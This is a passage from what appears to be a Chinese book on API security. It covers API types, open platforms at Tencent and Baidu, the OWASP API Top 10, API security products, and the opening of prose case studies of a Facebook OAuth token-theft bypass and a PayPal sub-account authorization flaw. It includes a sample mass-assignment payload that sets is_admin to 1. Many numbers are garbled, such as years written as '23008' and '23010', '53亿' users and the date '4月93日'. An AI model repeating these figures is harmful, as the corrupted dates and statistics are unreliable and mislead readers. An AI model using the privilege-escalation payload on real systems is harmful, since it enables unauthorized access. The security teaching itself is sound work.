类XML-RPC及其他API技术比较杂乱,以类XML-RPC技术为主, 它除了包含XML-RPC的API接口调用外,还有一些以XML为数据格式 的信息交换技术,如即时通信的XMPP,在这里,也将这类的接口都归 类到类XML-RPC API中。另外,还有一些如JMS、Dubbo之类的接口技 术,也归类到这里,做统一的叙述。 下面,一起来看看类XML-RPC API。 XML-RPC是一种简单、古老的远程接口调用方法,使用HTTP将信 息在客户端和服务器端之间传输。从通信的消息格式上看,与其他的 API技术典型的差异在于消息体的XML文档化,如下面样例所示。 类XML-RPC请求:在请求消息中,所有的节点包含在methodCall 中,其中methodName节点表示调用的方法名,param节点表示调用时使 用的参数类型及其参数值。比如此样例中,请求调用的方法为 testRPC,调用时参数值为2: 类XML-RPC响应:在响应消息中,所有的节点包含 methodResponse中,其中param节点为正确响应的内容。比如此样例 中,响应消息的值为字符串类型的admin: 从样例可以看出,变化的主要内容是通信交互的消息体,还有一点 需要注意的是,对于远程接口中某个方法的调用,是在消息体中定义 的,比如样例中调用远程接口的testRPC方法包含在XML格式中,而不 是像普通的HTTP请求,放在URL路径中。除了上述差异,其他(如 HTTP Header相关字段)与普通HTTP消息无异,调用堆栈与1.2.1节描述 的RMI无异,更多差异化的细节体现在后端服务的逻辑实现上。 JMS作为Java消息服务类应用程序接口在大型企业级项目中也被频 繁使用,市场上也有多种具体的产品实现,比如ActiveMQ、Kafka、 Rabbit MQ等。与XML-RPC类不同,JMS的组成结构相对复杂些,如图 1-13所示。 ●图1-13 JMS通信过程 JMS主要用于两个应用程序之间或分布式系统中发送消息,进行同 步或异步通信。消息发布者产生消息,并将消息发布到消息队列或对外 发布主题Topic。在P2P模式下,每条消息仅会传送给一个消费者;而在 发布/订阅模式下,每条消息会发送给订阅的多个消息消费者。JMS消息 作为通信内容的载体,其结构主要分为消息头、属性和消息体三个部 分。根据消息类型的不同,常用的主要有TextMessage文本消息、 MapMessage键值对消息、BytesMessage二进制数据格式消息、 ObjectMessage Java序列化对象消息以及StreamMessage以XML为传输载 体的流消息。 通过理解JMS、XML-RPC的消息传输,能帮助读者快速理解 Dubbo、XMPP等类型接口的技术原理,这也是将其他的API技术归类到 此类型的另一个原因。 1.4 Top N互联网企业API使用现状 API技术的发展加速了API的广泛使用,而API的广泛使用又促进了 API技术的发展。在API经济的促进下,互联网企业不断地加入到API能 力服务提供商的行列。 1.4.1 API开放平台发展历程 在国外,最早可以追溯到2007年的Facebook开放平台,Facebook首 次利用开放平台,推动第三方开发者参与开发与应用集成,将互联网带 入开放平台的时代。 继Facebook获得成功之后,Google也推出了自己的开放平台战略。 Google于23008年推出了Google App Engine平台,通过对外提供开发套 件的形式,为第三方开发者提供Google基础设施支撑能力。 而国内在23010年前后,头部的互联网公司相继开放了自己的API平 台,典型的有人人网、微博、百度、腾讯、盛大等。人人网开放平台于 2008年开始,到2012年的“人人网开放平台OpenDay”活动日,已完成了 全部API的开放,对外开放的API接口已多达830多个,涉及用户信息、 好友关系、日志、相册、状态、新鲜事、通知、公共主页等多个方面。 腾讯开放平台于23010年开始,2015年腾讯全球合作伙伴大会上,腾讯 集团COO任宇昕表示,腾讯开放平台5年来,接入应用数已超过400万。 腾讯开放平台上合作伙伴的收益分成就已超过1300亿,孵化的上市或借 壳上市的公司已经超过230家。通过这些数据,可以看出,腾讯开放平 台在战略上是成功的。 当今,当人们在互联网上用搜索引擎搜索OpenAPI开放平台时,会 发现很多企业都在使用API开放平台,API技术已渗透到IT信息服务的方 方面面,如图1-14所示。 ●图1-14 通过微软Bing搜索关键字“OpenAPI开放平台”的结果 1.4.2 API在腾讯的使用现状 腾讯是中国最大的互联网综合服务提供商之一,其业务范围包含社 交、金融、娱乐、资讯、工具、平台等,很多知名的互联网应用都是腾 讯的产品,比如QQ、微信、财付通、微信支付、腾讯视频、QQ音乐、 应用宝等。腾讯开放平台作为第三方开发者与腾讯产品之间的纽带,给 优秀的第三方开发者和腾讯都带来了巨大的流量和收入。 当读者访问腾讯开放平台的官方网站时,可以看到已形成了基于开 放平台的规模化的合作应用生态,包含覆盖130亿账户的六大服务平 台:应用开放平台、微信开放平台、AI开放平台、创业服务平台、内容 开放平台、QQ开放平台,如图1-15所示。 ●图1-15 腾讯开放平台官网首页六大平台介绍 这些平台通过API对外开放的形式,将腾讯产品后端的业务能力提 供出去,引入第三方开发者或厂商,不断创新,构建庞大的“腾讯+服 务”的生态系统,为2B和2C类客户提供优质服务。 1.4.3 API在百度的使用现状 百度是国内较早开始建设API开放平台的企业之一,从早期单一的 百度搜索开放平台到现在的百度数据开放平台、百度AI开放平台、百度 移动开放平台、百度语音开放平台、百度地图开放平台等,其服务能力 以API的形式逐步完成对外开放。在2019年12月10日,百度地图生态大 会公开的报告显示,其位置服务日均请求次数已突破13200亿次,注册 开发者数量达1380万,服务超过530万个移动应用,已成为中国最大的 智能化位置服务平台。从百度地图开发平台的官网可以看到,为了构建 地图生态,对第三方开发者和合作厂商提供了丰富的API接口,如图1- 16所示。 ●图1-16 百度地图API服务接口 通过对腾讯、百度等互联网企业使用API开放平台的介绍以及它们 对外提供的业务解决方案可以看出,API技术早已渗透到各行各业。随 着物联网和53G技术的迅速发展,各种新业务能力的API仍在不断地涌 现,API技术正迎来蓬勃向上的春天。 1.5 小结 本章从API的发展历史谈起,围绕Web技术的发展历程,重点介绍 了Web应用型API的不同类型以及每一种类型的主要特点。通过本章内 容,读者能对API所关注的内容以及所提供的功能有大致的了解。最 后,结合国内外互联网厂商在API开放平台的使用情况,介绍了API的 当前现状和发展前景,可以说,API技术正在改变着人们的生活,并呈 现良好的发展势头。那么在如此良好的前景下,当前的API应用有哪些 安全问题?这将是下一章要介绍的重点内容。 第2章 API安全的演变 人类社会发展与危机并存,互联网技术也是如此。从API技术开始 出现,API安全缺陷就一直伴随着API技术在企业应用中的变化而变 化。前有古老的Windows 95 API漏洞,后有各种现代API问题导致的数 据泄露,不同的只是API安全问题发生的原理。 本章从API安全的含义出发,介绍API安全现状、常见API安全问题 以及API安全发展趋势等内容,为读者讲述API安全的演变过程。 2.1 API安全现状 API技术广泛使用的同时,带来的安全问题也愈加突出,从不断出 现的与API安全相关的安全事件中,来探讨一下API安全的现状。 2.1.1 什么是API安全 从API的发展过程可以了解到,API安全问题一直伴随着API技术的 发展在不断变化。可以用一句话来概括API安全的定义:API安全是从 安全的角度关注API领域的安全问题和这些问题的解决方案,从技术和 管理两个层面提高API自身和API周边生态的安全性。 本书谈论的API实际是以现代API为主,其关注的安全领域与传统 的Web安全比较接近,但又不同于Web安全,属于IT领域中技术细分的 交叉地带。传统Web安全更多的是关注Web应用程序的安全性,以服务 器端应用程序安全为主,其漏洞表现形式主要为SQL注入、XSS、CSRF 等。而API安全是在API技术被广泛使用后,攻击面不断扩大的情况下 带来的安全管理问题和安全技术问题,它面临的外部环境比传统的Web 安全更为复杂,通常内部包含API服务及其运行环境(与传统Web安全 相似),外部包含API客户端应用程序、IoT设备、监管政策以及第三方 合作厂商运作支持等,是API经济背景下各个方面安全能力的总集。 API安全包含的内容如图2-1所示。 图23-1从网络安全、Web应用安全、安全开发、监管合规43个主 要方面重点描述了API安全关注的核心内容。在网络层面,API安全主 要关注客户端应用程序与API服务器端之间的通信安全;在Web应用层 面,重点关注API客户端应用与API服务器端之间的协议规范、常见的 API漏洞类型以及如何通过API安全设计规避这些安全问题;在安全开 发层面,从API生命周期的角度,结合SDL或DevSecOps模型来综合管 理API开发过程的安全性;在监管合规层面,需要结合法律法规和行业 监管要求,考虑API数据隐私保护和合规性设计。 ●图2-1 API安全在多个安全细分领域的交叉内容 2.1.2 API安全问题主要成因 既然API安全问题由来已久,那么API安全的真实情况到底如何? 不妨先来看一看2020年初的几起数据泄露事件。 2020年33月底,多家网络媒体爆料,某社交平台数据疑似大规模泄 露,涉及53亿多用户,随后社交平台的安全专员回复是在23018年底, 有黑客通过手机通讯录接口,伪造本地通讯录来获得手机号与平台用户 的关联,从而“薅走了一些数据”。针对此次API安全问题,平台已及时 加强了安全策略,并在不断强化。除了某社交平台之外,很多社交App 都有通过通讯录匹配好友的功能。2019年11月,Twitter就出现过利用通 讯录匹配功能获得百万推特用户账号和手机号的数据泄露事件,随后 Facebook关闭了这一功能。而到了2020年4月初,视频会议服务厂商 Zoom又被爆出发现多项安全漏洞,其中包含Facebook Graph API滥用导 致隐私数据泄露问题。 除了这些安全事件外,近期的境外媒体报道的API安全事件还有如 下几件。 4月2日,GitLab API问题导致私有项目的名称空间泄露。 4月93日,WordPress插件Rank Math爆出严重的API安全漏洞,借此 漏洞可以直接修改users表信息。 4月16日,网媒报道findadoctor.com网站因API安全问题,导致美国 140万名医生信息泄露。 从如此密集的安全事件都与API相关,大致可以判断出API安全问 题普遍存在,甚至还比较严重。那么,到底导致API安全问题发生的原 因有哪些呢? 1.企业API安全意识不足 从攻击视角来看,当越来越多的企业使用API对外部开放其业务能 力,意图共建生态时,这种新型的攻击面是充满诱惑和不可舍弃的蛋 糕。面对众多开放的API,恶意攻击者往往通过并不复杂的恶意行为, 即可给企业造成重大的危害。发生过安全事件的企业因为造成损失会增 加对API的重视度,但未遭受影响的企业,仍缺乏对API的关注。在API 测试环节,很多团队要么不知道API漏洞,要么直接忽略了API安全测 试;而在API服务发布后,API提供者、API赞助商以及第三方API使用 厂商也在此领域缺少精力投入。这些情况导致API生态中各相关利益方 (如API提供者、API赞助商、第三方API使用厂商等)责任不清、监督 失效,API安全处于无人管理的状态。 2.技术革新导致API安全风险增加 由于云计算的快速发展,越来越多的企业将应用和数据迁移至云 端,并暴露核心业务能力和流程相关的API为外部合作伙伴提供服务。 脱离了传统的内网或网络区域划分,云上应用的开发和集成、云端管理 API,被潜在的商业合作伙伴及攻击者使用,无形中使得API安全风险 增大。而大多数企业,没有人能完全掌握系统全部API,开发人员往往 也只是熟悉自己开发的相关模块,且很多技术开发人员认为采纳新的、 酷的技术更重要,在技术路线上选择新的特性,忽视API是否被攻击。 在这种缺少API安全性管理平台又未建立全面系统的API安全管理体系 的情况下,API安全风险更不可控。 3.API自身安全机制不足 企业将数据和能力通过API对外开放获取商机和便利的同时,也为 攻击者攻击提供了通道。为了达到目的,攻击者通过多种手段渗透 API,比如流量型的DDoS攻击、CC攻击;绕过身份鉴别或授权,非法 获取数据;逆向破解API客户端应用后,非法调用API服务。而因API服 务提供方、API开发团队、第三方合作伙伴等多方面原因,API自身的 安全机制存在缺陷,比如缺少身份鉴别或授权访问控制、缺少对敏感数 据的加密保护或异常检测手段、缺少对API资产的生命周期管理,导致 很多低版本的影子API。在这些情况下,攻防对抗中API自身安全能力 不足将成为短板,无法应对攻击者发起的恶意行为,反而易成为突破 口。 2.1.3 API安全面临的主要挑战 API安全事件频发,其外因是存在恶意攻击行为。而作为使用API 的企业,在API生态中把API当成基础设施的一部分,却缺少清晰的API 保护方针和策略,无法提供高质量的API安全服务能力,也是导致API 安全事件的原因。了解了这些原因,若想彻底解决API安全问题,仍需 要面临多方面的挑战。 1.API广泛使用带来攻击面扩大的挑战 API技术的产生是为了解决不同组件或模块之间的标准化通信交互 问题,随着互联网上业务种类的不断增加,出现了以API为中心的API 经济生态。在这个生态系统内,API能力提供者作为平台能力支撑方和 运营者,通过API的形式对外开放业务能力,吸引第三方厂商或合作伙 伴加入此生态系统。开放的业务能力越多,API暴露的攻击面就越大; 参与生态构建的第三方厂商越大,API使用范围越广泛,API暴露的攻 击面也就越大。从企业运营者的角度来说,是期望更多的第三方厂商加 入生态构建,从风险暴露的角度来说,越收敛则攻击面越小。在这种业 务期望快速发展,安全诉求越来越高的背景下,想解决API安全问题, 必须综合管理和技术手段,从网络治理、服务治理、API治理、IT治理 等角度去寻找业务发展和安全保障的最佳平衡点,尤其是对平台型企业 来说,如果内部IT治理水平较低,将面临巨大的挑战。 2.API安全实践经验缺失的挑战 对于使用API技术的企业来说,使用某项技术是为了解决某些问 题,以期望得到更高效的业务能力,但因技术人员对使用某项技术带来 安全风险往往理解不够深刻。尤其是在当前互联网业务竞争十分激烈, 版本更新迭代非常频繁的情况下,应付API功能的开发已经很疲惫,加 上团队内部或企业内部缺少安全经验丰富的人员来对研发过程进行监督 或指导,导致开发出来的API存在安全缺陷。而企业缺少API开发过程 中的相关工具、平台以及保障机制,更无法从组织层面指导API安全实 践的开展。 3.外部环境变化带来的合规性挑战 近几年,随着国家层面网络空间治理的不断深入,满足合规性要求 成为每一个企业正常业务开展的必要条件。在我国,国家标准和行业标 准层面,对API使用提出了多方面的安全要求。比如在关于个人信息安 全的国家推荐性标准GB/T 35273-2020《信息安全技术 个人信息安全规 范》中,对于使用API收集个人敏感信息且未单独向个人信息主体征得 收集、使用个人信息的授权同意时有如下要求。 当个人信息控制者与第三方为共同个人信息控制者时(例如,服务 平台与平台上的签约商家),个人信息控制者应通过合同等形式与第三 方共同确定应满足的个人信息安全要求,以及在个人信息安全方面自身 和第三方应分别承担的责任和义务,并向个人信息主体明确告知。 在规范中,要求API服务提供者在涉及个人信息收集时,需要征得 用户同意并明确确认授权的情况下才可以进行信息采集。而作为被第三 方集成的API服务提供方,如果涉及个人信息收集时,需要双方约定分 别承担的责任和义务,并明确告知用户。除了此规范外,金融行业标准 JR/T 0185-2020《商业银行应用程序接口安全管理规范》中,更是从API 类型与安全设计、开发、部署、集成、运维等生命周期角度,对API的 管理提出多方面的合规性要求。 这些标准或规范为企业的API安全实践提供方向性指引,同时也为 API的合规提供可落地标准。企业完成了此类合规的挑战,才能更好地 开展业务。 2.2 API安全漏洞类型 在发生的API安全事件中,导致问题发生的漏洞机理和原因与传统 Web安全相似,并有大量的交叉地带,API安全的很多漏洞类型与传统 Web安全非常类似。 2.2.1 常见的API安全漏洞类型 根据安全漏洞发生的机理和原因,对API安全漏洞做归类分析,常 见的类型如下。 ■ 未受保护API:在现行的Open API开放平台中,一般需要对第三 方厂商的API接入身份进行监管和审核,通过准入审核机制来保护 API。当某个API因未受保护而被攻破后,会直接导致对内部应用程序 或内部API的攻击。比如因REST、SOAP保护机制不全使攻击者透明地 访问后端系统即属于此类。 ■ 弱身份鉴别:当API暴露给公众调用时,为了保障用户的可信 性,必须对调用用户进行身份认证。因设计缺陷导致对用户身份的鉴别 和保护机制不全而被攻击,比如弱密码、硬编码、暴力破解等。 ■ 中间人劫持:因API的通信链路安全机制不全,攻击者通过攻击 手段将自己成为API链中的某个受信任链,从而拦截数据以进行数据篡 改或加密卸载。此类攻击,通常发生在网络链路层。 ■ 传统Web攻击:在这里主要是指传统Web攻击类型,通过攻击 HTTP协议中不同的参数,来达到攻击目的,比如SQL注入、LDAP注 入、XXE等。而攻击者在进一步攻击中,会利用权限控制缺失、CSRF 进行横向移动,从而获取更大的战果。 ■ 弱会话控制:有时API身份鉴别没有问题,但对会话过程安全保 护不足,比如会话令牌(Cookie、一次性URL、SAML令牌和OAuth 令牌)的保护。会话令牌是使API服务器知道谁在调用它的主要(通常 是唯一的)方法,如果令牌遭到破坏、重放或被欺骗,API服务器很难 区分是否是恶意攻击行为。 ■ 反向控制:与传统的交互技术不同,API通常连接着两端。传统 的应用中大多数安全协议都认为信任服务器端是可信的,而在API中, 服务器端和客户端都不可信。如果服务器端被控制,则反向导致调用 API的客户端出现安全问题,这是此类安全问题出现的原因。 ■ 框架攻击:在API安全威胁中,有一些特殊存在的攻击场景,它 们是API规范、架构设计导致的安全问题,这类威胁统称为框架攻击。 最常见的比如同一API存在不同版本,导致攻击者攻击低版本API漏 洞;同一API的不同客户端调用,可能PC端没有安全问题而移动端存在 安全问题等。 2.2.2 OWASP API安全漏洞类型 在API安全发展的过程中,除了各大安全厂商和头部互联网企业在 奔走呼吁之外,还有一家公益性安全组织,即开放式Web应用程序安全 项目(Open Web Application Security Project,OWASP)。OWASP是一 个开源的、非盈利的全球性安全组织,主要致力于应用软件的安全研 究,它有很多开源项目,OWASP API安全Top 10就是其中的一个。 在OWASP API安全Top 10中,OWASP延续了Web安全的传统,收 集了公开的与API安全事件有关的数据和漏洞猎人赏金平台的数据,由 安全专家组进行分类,最终挑选出了十大API安全漏洞的类型,以警示 业界提高对API安全问题的关注。这十大API安全漏洞类型的含义分别 如下。 ■ API1-失效的对象级授权:攻击者通过破坏对象级别授权的API, 来获得未经授权的或敏感的数据,比如通过可预测订单ID值来查询所有 订单信息。 ■ API2-失效的用户认证:开发者对API身份认证机制设计存在缺陷 或无保护设计,导致身份认证机制无效,比如弱密码、无锁定机制而被 暴露破解、Token未校验或Token泄露导致认证机制失效等。 ■ API3-过度的数据暴露:在API响应报文中,未对应答数据做适当 的过滤,返回过多的、不必要的敏感信息。比如查询用户信息接口时却 返回了身份证号、密码信息;查询订单信息时也返回了付款银行卡号、 付款人地址信息等。 ■ API4-缺乏资源和速率控制:在API设计中,未对API做资源和速 率限制或保护不足,导致被攻击。比如用户信息接口未做频次限制导致 所有用户数据被盗;文本翻译接口没有速率限制导致大量文件上传耗尽 翻译服务器资源。 ■ API5-失效的功能级授权:与API1类似,只不过此处主要指功能 级的控制,比如修改HTTP方法,从GET改成DELETE便能访问一些非 授权的API;普通用户可以访问api/userinfo的调用,直接修改为 api/admininfo,即可调用管理类API。 ■ API6-批量分配:在API的业务对象或数据结构中,通常存在多个 属性,攻击者通过篡改属性值的方式,达到攻击目的。比如通过设置 user.is_admin和user.is_manager的值提升用户权限等级;假设某API的默 认接口调用参数为{"user_name":"user","is_admin":0},而恶意攻击者修 改请求参数,提交值为{"user_name":"attacker","is_admin":1},通过修 改参数is_admin的值来提升为管理员权限。 ■ API7-安全性配置错误:系统配置错误导致API的不安全,比如传 输层没有使用TLS导致中间人劫持;异常堆栈信息未处理直接抛给调用 端导致敏感信息泄露。 ■ API8-注入:与OWASP Web安全注入类型相似,主要指SQL注 入、NoSQL注入、命令行注入、XML注入等。 ■ API9-资产管理不当:对于API资产的管理不清,比如测试环境 的、已过期的、低版本的、未升级补丁的、影子API等接口暴露,从管 理上没有梳理清楚,导致被黑客攻击。 ■ API10-日志记录和监控不足:对API缺失有效的监控和日志审计 手段,导致被黑客攻击时缺少告警、提醒,未能及时阻断。比如没有统 一的API网关、没有SEIM平台、没有接入Web应用防火墙等。 OWASP API安全Top 10的发布,第一次在公众视野中理清了API安 全的常见问题类型,同时也从API生命周期管理、纵深防御的安全设计 思想上,为API安全的综合治理提供了指导方向。当然,作为API安全 的第一个版本,也会有它的不足,比如笔者认为API1与API5对问题成 因的阐述,没有传统的Web安全中对水平越权、垂直越权的描述清晰, 容易导致问题归类划分的混乱,但仍有理由相信,OWASP API安全Top 10对业界的重大意义,未来的版本发布更值得期待。 2.3 API安全前景与趋势 在国家政策和技术革新的牵引下,API安全正进入一个前所未有的 阶段,从传统互联网到移动互联网,再到物联网,正在影响人们生活的 方方面面。 1.国家政策对API安全的影响 自23015年政府工作报告中提出“制定‘互联网+’行动计划,推动移动 互联网、云计算、大数据、物联网等与现代制造业结合,促进电子商 务、工业互联网和互联网金融健康发展,引导互联网企业拓展国际市 场”以来,中国传统行业的互联网化得到了快速的发展。众多传统企业 纷纷迭代升级,完成了线上线下的业务融合。如今在5G和新基建的背 景下,网络信息基础设施的持续升级改造,云计算、大数据、人工智能 等技术与业务的持续融合,互联网生态圈的持续创新,为分享经济注入 了新的动力。对于众多企业来说,API已经成为其面向内外部持续提高 能力输出、数据输出、生态维系的重要载体。API经济已是未来产业互 联网中一个重要的组成部分,通过API经济,促进各行各业的数据变更 和业务升级,这其中除了包含电商、医疗、保险、教育等关系国计民生 的行业外,也包含能源、金融、交通、通信等国家基础设施。保护国家 基础设施的网络空间安全是国家网络空间安全战略中的一部分,API置 身其中,必须坚决维护网络安全,以国家安全观为指导,积极防御、有 效应对各种API安全威胁和挑战,维护网络秩序,保护个人隐私,共建 健康、安全的API经济生态。 2.技术革新对API安全的影响 环境改变下的产业升级倒逼着业务升级,业务升级又带动技术应用 和技术趋势的变化。在API经济的大趋势下,互联网向传统行业渗透, 各行业间相互渗透,形成横纵交织的API网络。在互联网的终端上,由 原来的个人计算机、办公设备转向IoT设备、智能手机、平板计算机, 移动App、H5应用、小程序等,从机器到人,从人到机器,新技术形态 带来的流量逐步统治着互联网。在前端,App成了移动互联网时代的流 量入口;在后端,API为流量提供了核心载体。这些新技术快速革新发 展的同时,也带来了诸多急需解决的IT问题。比如面对数目如此庞大并 继续增长的API,如何进行生产和管理?为了满足业务需求,原有系统 架构如何适应?什么样的语言和开发工具可以适应快速的需求迭代?一 定规模下,不同架构的系统(微服务、Docker、Kubernetes等)与多平 台、多技术领域的API(智能手机、平板计算机、浏览器等)如何通信 与适配?这些问题如果得不到解决,对API应用的可用性、稳定性、安 全性都是极大的挑战。 而API带来的新的、独特的安全挑战,远远超过传统的Web网页。 REST API、SOAP API、GraphQL API等API技术在通信中涉及的数据格 式像一个独立的应用层,必须深入其中才能识别威胁,消除风险。为了 有效地识别API资产,管理API生命周期,通过身份认证和访问控制, 对接现有IAM基础架构,无缝地解决API安全问题是API安全市场急需的 一项安全服务能力。 3.当前API安全产品现状 API安全产品面向的用户主要分为以下两类。 ■ 技术型管理者:在有些公司,其内部已有大量技术人员并有能力 来管理、定义、开发、配置API,需要引进API安全管理理念、技术、 工具、平台来实施先进的API管理,其需要的API安全产品通常包含API 安全开发工具、API安全测试工具、API管理平台、API网关、API安全 防护等不同类型的产品。 ■ 非技术型管理者:这些企业通常以业务为中心,采用API设计来 寻找商机,企业本身对API技术了解不多,需要借助外部资源帮助其构 建API经济,其API安全产品需求相对比较单一,更多的偏向于API管理 平台、API网关和API安全防护类产品。 无论是哪种类型的终端用户,都会有API管理平台、API网关和API 安全防护类产品的诉求,这也是当前API安全产品市场上API管理平台 或API网关占比最多的一个主要原因。目前市场上,API管理平台或API 网关产品主要可分为公有云产品、2B交付商业化产品、开源产品三 种。 其中公有云产品主要有以下几种。 ■ Amazon API网关。 ■ Google Apigee API网关。 ■ Microsoft Azure API管理平台。 ■ 阿里云API网关。 ■ 腾讯云API网关。 2B交付商业化产品主要有以下几种。 ■ IBM API网关。 ■ Kong API网关企业版。 ■ Salesforce MuleSoft API网关。 ■ NGINX Plus网关。 ■ Red Hat 3scale API网关。 ■ WSO2 API管理平台。 开源产品主要有以下几种。 ■ Kong API网关。 ■ Netflix Zuul网关。 ■ Ambassador API网关。 从这些产品可以看出,目前市场上参与API安全市场竞争的既有 Google、Amazon、Microsoft、IBM这样的Top企业产品,也有Kong、 NGINX、WSO2这样小而美的解决方案。在这些产品中,公有云厂商建 设API网关产品以自用和服务云上用户为主,而23B销售的厂商才是影 响API网关或管理平台类产品市场资源投入的主力军。当客户在购买此 类产品时,可以从IAM、安全运营能力(流量监控、威胁防护、数据 安全等)、DevSecOps融合、购买费用与许可协议等方面对产品进行打 分,综合衡量API网关产品与当前业务需求的契合度,以最优的性价比 选择合适的产品。 除了API网关或管理平台产品外,还有一部分厂商在做着与API上 下游相关联的产品,比如主要做API测试类工具产品Postman和SoapUI, 做OpenAPI的规范的SmartBear公司。 API安全防护类产品,以新型的互联网安全企业和传统的安全厂商 产品转型进入API安全领域为主,比如Akamai在23018年开始在WAF防 护能力中谈论API的安全防护,并于2020年4月期间单独做了API安全专 题。WAF厂商Imperva的Imperva SecureSphere WAF产品中专属的JSON 结构和API组件,“可动态地了解应用程序的行为,立体式保护API安 全”。API安全市场似乎是尚未成型的蓝海,但各大厂商已悄然进入,通 过产品自建和并购,争着要分一杯羹。 API管理平台或API网关类产品仅仅是API安全产品的一个起点,是 基于当前市场环境和API技术形态切入的API产品形态中的一种,并不 是唯一的安全解决方案,想通过单一的API网关或API管理平台类产品 解决API安全的所有问题是不切实际的。 当前,中国正在进入全面数字化时代,随着53G、新基建以及人工 智能使用场景的不断深入,全面智能化将成为趋势,工业互联网正在成 为传统行业企业结构升级的下一步跳板,物联网也将成为基础设施建 设,其中每一个领域的能力释放都离不开API的广泛使用,这都为API 从业者带来广阔的发展前景。 2.4 小结 本章主要介绍了API安全的现状、API安全漏洞类型以及API安全的 前景与趋势。从API安全的基本含义中,读者可以了解基于API生命周 期中涉及的网络层、应用层的关键安全能力,也可以了解到要解决API 安全问题,必须结合安全管理模型,融入安全设计、安全开发、隐私合 规等多方面能力。通过API安全漏洞类型读者可以对常见的API安全漏 洞有了基本了解,知道漏洞发生的基本原因和被利用的场景。最后,结 合国家政策、技术革新、API安全产品,介绍了API安全的未来发展前 景,让读者对API安全的概貌有一个初步、理性的认知。 第3章 典型API安全漏洞剖析 这个世界上每天都在出现新的漏洞,NVD作为全球最大的官方漏洞 库,截至2021年1月18日,最近三个月的数据显示,共收录漏洞数5238 条,平均每天新增50多条漏洞记录。而以API为关键字进行搜索,近三 个月也有222条相关记录,如果算上其他国家和各大企业的安全响应中 心中未公开的漏洞,每天发现的漏洞数将会更多。本章将为读者精选出 几个典型的、与API安全相关的漏洞为读者做详细分析,以加深读者对 API安全常见漏洞原理的理解。 3.1 Facebook OAuth漏洞 2020年3月1日,漏洞赏金猎人Amol Baikar在其博客公布了一个 Facebook OAuth框架权限绕过的漏洞。 3.1.1 OAuth漏洞基本信息 关于Facebook OAuth漏洞,作者声称获取了赏金55000美元,按照 当日的美元汇率计算,奖金金额达38万元人民币之多。那么这个漏洞是 如何形成的呢?下面就带着读者来一探究竟。 漏洞类型:API2-失效的用户认证。 漏洞难度:高。 报告日期:2019-12-16。 信息来源:https://www.amolbaikar.com/facebook-oauth-framework- vulnerability。 Facebook登录功能遵循OAuth 2.0授权协议,第三方网站 (Instagram、Oculus、Netflix等)使用Facebook账号认证通过后获取 访问令牌access_token来访问获得用户授权许可的资源信息。恶意攻击 者通过技术手段劫持OAuth授权流程,窃取应用程序的access_token,从 而达到接管用户账号的目的。其攻击过程如图3-1所示。 ●图3-1 Facebook OAuth绕过漏洞攻击示意图 3.1.2 OAuth漏洞利用过程 Facebook网站和国内的社交应用腾讯、微信、微博一样,提供第三 方集成授权功能。正常情况下,Facebook第三方应用OAuth授权流程 中,其中获取用户访问令牌access_token的URL请求格式如下: 上述URL链接中,参数APP_ID为第三方应用在Facebook注册时生 成的应用ID值,/connect/ping为Facebook提供给第三方应用获取用户访 问令牌access_token的API端点,这是在大多数互联网平台OAuth认证时 都需要提供的功能。Facebook为开发者提供JavaScript SDK作为接入方 式,接入时,开发者通过编码在后台创建跨域通信的代理iframe,再使 用window.postMessage() 收发令牌。 模拟攻击者在测试中发现,此链接中跳转地址xd_arbiter.php?v=42 的值可以被篡改,可以通过篡改来添加更多路径和参数,比如修改为 xd_arbiter/?v=42,而且xd_arbiter也是请求的白名单路径。通过这样的方 式,可以获取访问令牌的hash值。但若想获取可读写的访问令牌值,最 好是借助于postMessage()将消息传送出来。而恰好在 staticxx.facebook.com域名下,存在了提供上述代码功能的JavaScript文 件,于是模拟攻击者利用了这个链接构造出登录的URL。原链接如下: 构造出来的登录链接格式如下所示(其中124024574287414是 instagram的app_id): 最后,Amol Baikar定制了Facebook JavaScript SDK,其关键代码如 下: 运行之后,可以在受害者不知情的情况下获取access_token。漏洞 在上报后,很快得到了Facebook的响应,并修复了漏洞。 3.1.3 OAuth漏洞启示 下面再来回顾一下整个攻击过程,如图3-2所示。 ●图3-2 OAuth绕过攻击过程 在此次攻击成功的路径上,可修改xd_arbiter是第一个关键点,提 供代理劫持框架的7SWBAvHenEn.js是第二个关键点。有了第一个关键 点,攻击者才能伪造可执行路径,将7SWBAvHenEn.js加入进来。 7SWBAvHenEn.js文件在攻击中充当了攻击武器,本来有第一个关键点 攻击者即可找到攻击方向,但炮弹精准度不足,7SWBAvHenEn.js文件 所提供的功能加速了攻击者完成攻击的速度。同时,在网媒报道中,也 提到了“即使用户更改了Facebook账号密码,令牌仍然有效”,这是导致 账号权限被接管的主要原因。 作为防守方,如果仅仅使用URL白名单来防御往往是不够的。尤其 是复杂的应用程序中,在面对跨域通信,PC端、手机端、移动平板等 不同类型设备的多端接入提供多个接入点的情况下。而且还要考虑不同 浏览器、同一浏览器不同版本的复杂情况下,即使使用X-Frame-Options 来防止跨域但也要考虑其兼容性问题。通过这个案例,也给开发人员提 了个醒。在做某个程序设计时,在实现功能的前提下,尽可能遵循简单 原则,参考标准的协议实现流程。对线上环境中不使用的文件,尽快清 除。 3.2 PayPal委托授权漏洞 在漏洞赏金平台上,高赏金的漏洞每年都有。2019年73月,国外漏 洞赏金平台HackerOne上报告了一个PayPal用户API相关的漏洞。 3.2.1 委托授权漏洞基本信息 委托授权漏洞与用户的委托授权场景相关,平台截图与漏洞描述如 图3-3所示。 ●图3-3 HackerOne平台PayPal漏洞记录 关于这个漏洞的细节,在这里带领读者一起近距离地分析看看。 漏洞类型:API1-失效的对象级授权。 漏洞难度:高。 报告日期:2019-7-30。 信息来源:https://hackerone.com/reports/415081。 漏洞发生在paypal.com站点,在PayPal的业务中,其账号可分以下 两类。 ■ 企业账号(Business Account),也叫商业账号,具有PayPal高级 账号的所有功能权限,主要面向企业管理用户。 ■ 子账号(Secondary Account),也叫辅助账号,主要是方便企业 账号管理下属员工,方便设置不同的管理功能,比如只能查看余额、只 能退款、只能提现等。 企业账号通过委托授权子账号来管理账号上的资金,比如企业内的 出纳和会计,在PayPal平台对应于不同的子账号,具备不同权限和功 能,出纳可以转账和提现,会计可以查询和稽核。反之,则无法操作。 3.2.2 委托授权漏洞利用过程 从上文的背景描述可以了解到,在PayPal的在线电子支付系统中, 存在企业账号A下可以设置子账号A1的情况。在此案例中攻击者通过 对“查看子账号”功能进行分析,得出URL为 https://www.paypal.com/businessmanage/users/1657893467745278998的参 数id值1657893467745278998表示子账号所绑定的企业账号。当用户操 作此子账号查看操作时,产生了一个HTTP PUT请求,报文内容如下所 示: 通过测试验证,上述PUT请求中第一个id字段值,即 1657893467745278998可以替换为任意随机数值;第二个id字段值,即 5994224506代表了其子账号id号。 